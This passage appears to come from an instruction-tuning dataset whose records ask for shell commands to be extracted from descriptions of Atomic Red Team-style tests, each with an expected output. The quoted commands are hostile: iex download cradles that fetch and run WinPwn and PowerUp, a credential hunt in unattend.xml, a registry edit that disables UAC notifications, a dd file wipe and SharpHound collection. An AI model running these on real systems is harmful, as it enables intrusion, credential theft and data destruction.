    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file will be overwritten and deleted via the following DD command, and you can stop the operation by pressing CTRL/CMD+C: dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes",
    "output": "{\"command_list\": [\"dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For examining potential credential storage in Windows installation logs, run the following commands to check both Panther directory locations:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n",
    "output": "{\"command_list\": [\"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable UAC notifications, which can help malware execute with elevated privileges, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Security Center\" /v UACDisableNotify /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Security Center\\\" /v UACDisableNotify /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves downloading WinPwn and running its Snaffler function via the command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSnaffler -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nSnaffler -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can collect a screenshot of your entire desktop by executing this command: screencapture #{output_file}",
    "output": "{\"command_list\": [\"screencapture #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can start PowerUpSQL checks by executing the powerSQL function of WinPwn via this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For PowerShell execution of malicious cmdlets that simulate their operation, run this command:\n$malcmdlets = #{Malicious_cmdlets}\nforeach ($cmdlets in $malcmdlets) {\n    \"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\"}\nforeach ($cmdlets in $malcmdlets) {\n    $cmdlets}\n",
    "output": "{\"command_list\": [\"$malcmdlets = #{Malicious_cmdlets}\\nforeach ($cmdlets in $malcmdlets) {\\n    \\\"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\\\"}\\nforeach ($cmdlets in $malcmdlets) {\\n    $cmdlets}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Center for Threat Informed Defense's Named Pipes Micro Emulation executable can be launched with this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 4, which creates a named pipe and waits 30 seconds for client-server communication.",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 4\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound 